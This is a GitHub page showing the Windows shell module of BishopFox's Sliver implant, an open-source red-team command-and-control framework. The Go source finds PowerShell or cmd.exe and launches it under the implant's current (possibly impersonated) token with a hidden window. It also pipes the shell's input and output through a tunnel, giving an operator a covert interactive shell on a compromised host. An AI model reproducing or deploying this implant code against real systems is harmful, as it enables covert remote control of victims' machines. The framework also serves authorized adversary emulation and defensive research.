

Product


Solutions

Resources

Open Source

Enterprise

Pricing



Sign in

Sign up

 BishopFox / **sliver**

Public

 Notifications

 Fork 1.1k

 Star 8.5k

<> Code

 Issues 187

 Pull requests 11

 Discussions

 Actions

 Projects

 Wiki

 Security 2


 Insights

sliver / implant / sliver / shell / shell\_windows.go


 **rkervella** Handle stderr for shell command


e7284b5 · 2 years ago


 History




Files


 79f2d48








Go to file


>  .github


>  client


>  docs


>  implant


>  scripts


>  sliver


>  constants


>  cryptography


>  encoders


>  evasion


>  extension


>  forwarder


>  handlers


>  hostuuid


>  limits

>  netstack

>  netstat

>  pivots

>  priv

>  procdump

```
1 package shell
2
3 /*
4     Sliver Implant Framework
5     Copyright (C) 2019 Bishop Fox
6
7     This program is free software: you can redistribute it and/or modify
8     it under the terms of the GNU General Public License as published by
9     the Free Software Foundation, either version 3 of the License, or
10    (at your option) any later version.
11
12    This program is distributed in the hope that it will be useful,
13    but WITHOUT ANY WARRANTY; without even the implied warranty of
14    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15    GNU General Public License for more details.
16
17    You should have received a copy of the GNU General Public License
```

sliver / implant / sliver / shell / shell\_windows.go

CodeBlame117 lines (101 loc) · 2.71 KB ·

RawCopyDownload

```
22 // {{if .Config.Debug}}
23 "log"
24 // {{end}}
25
26 "context"
27 "github.com/bishopfox/sliver/implant/sliver/priv"
28 "golang.org/x/sys/windows"
29 "os/exec"
30 "syscall"
31 )
32
33 var (
34     // Shell constants
35     commandPrompt = []string{"C:\\Windows\\System32\\cmd.exe"}
36     powerShell    = []string{
37         "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
38         "-NoExit",
39         "-Command", "[Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8",
40     }
41 )
42
43 // GetSystemShellPath - Find powershell or cmd
44 func GetSystemShellPath(path string) []string {
45     if exists(path) {
46         return []string{path}
47     }
48     if exists(powerShell[0]) {
49         return powerShell
50     }
51     return commandPrompt
52 }
53
54 // Start - Start a process
55 func Start(command string) error {
56     cmd := exec.Command(command)
57     cmd.SysProcAttr = &windows.SysProcAttr{
```

- > proxy
- > ps
- > registry
- > screen
- > service
- > shell
  - > pty
  - > ssh
    - shell-pty.go
    - shell.go
    - shell\_generic.go
    - shell\_windows.go
- > spoof
- > syscalls
- > taskrunner
- > transports
- > version
- > winhttp
  - README.md
  - sliver.c
  - sliver.go
  - sliver.h

```
57         cmd.SysProcAttr = &windows.SysProcAttr{
58             Token:      syscall.Token(priv.CurrentToken),
59             HideWindow: true,
60         }
61         return cmd.Start()
62     }
63
64     // StartInteractive - Start a shell
65     func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
66         return pipedShell(tunnelID, command)
67     }
68
69     func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
70         // {{if .Config.Debug}}
71         log.Printf("[shell] %s", command)
72         // {{end}}
73
74         ctx, cancel := context.WithCancel(context.Background())
75
76         cmd := exec.CommandContext(ctx, command[0], command[1:]...)
77         cmd.SysProcAttr = &windows.SysProcAttr{
78             Token:      syscall.Token(priv.CurrentToken),
79             HideWindow: true,
80         }
81         stdin, err := cmd.StdinPipe()
82         if err != nil {
83             // {{if .Config.Debug}}
84             log.Printf("[shell] stdin pipe failed\n")
85             // {{end}}
86             cancel()
87             return nil, err
88         }
89         stdout, err := cmd.StdoutPipe()
90         if err != nil {
91             // {{if .Config.Debug}}
92             log.Printf("[shell] stdout pipe failed\n")
93             // {{end}}
94             cancel()
95             return nil, err
96         }
97
98         stderr, err := cmd.StderrPipe()
99         if err != nil {
100             // {{if .Config.Debug}}
101             log.Printf("[shell] stderr pipe failed\n")
102             // {{end}}
103             cancel()
104             return nil, err
105         }
106
107         err = cmd.Start()
108
109         return &Shell{
110             ID:      tunnelID,
111             Command: cmd,
112             Stdout:  stdout,
113             Stdin:   stdin,
114             Stderr:  stderr,
115             Cancel:  cancel,
116         }, err
117     }
```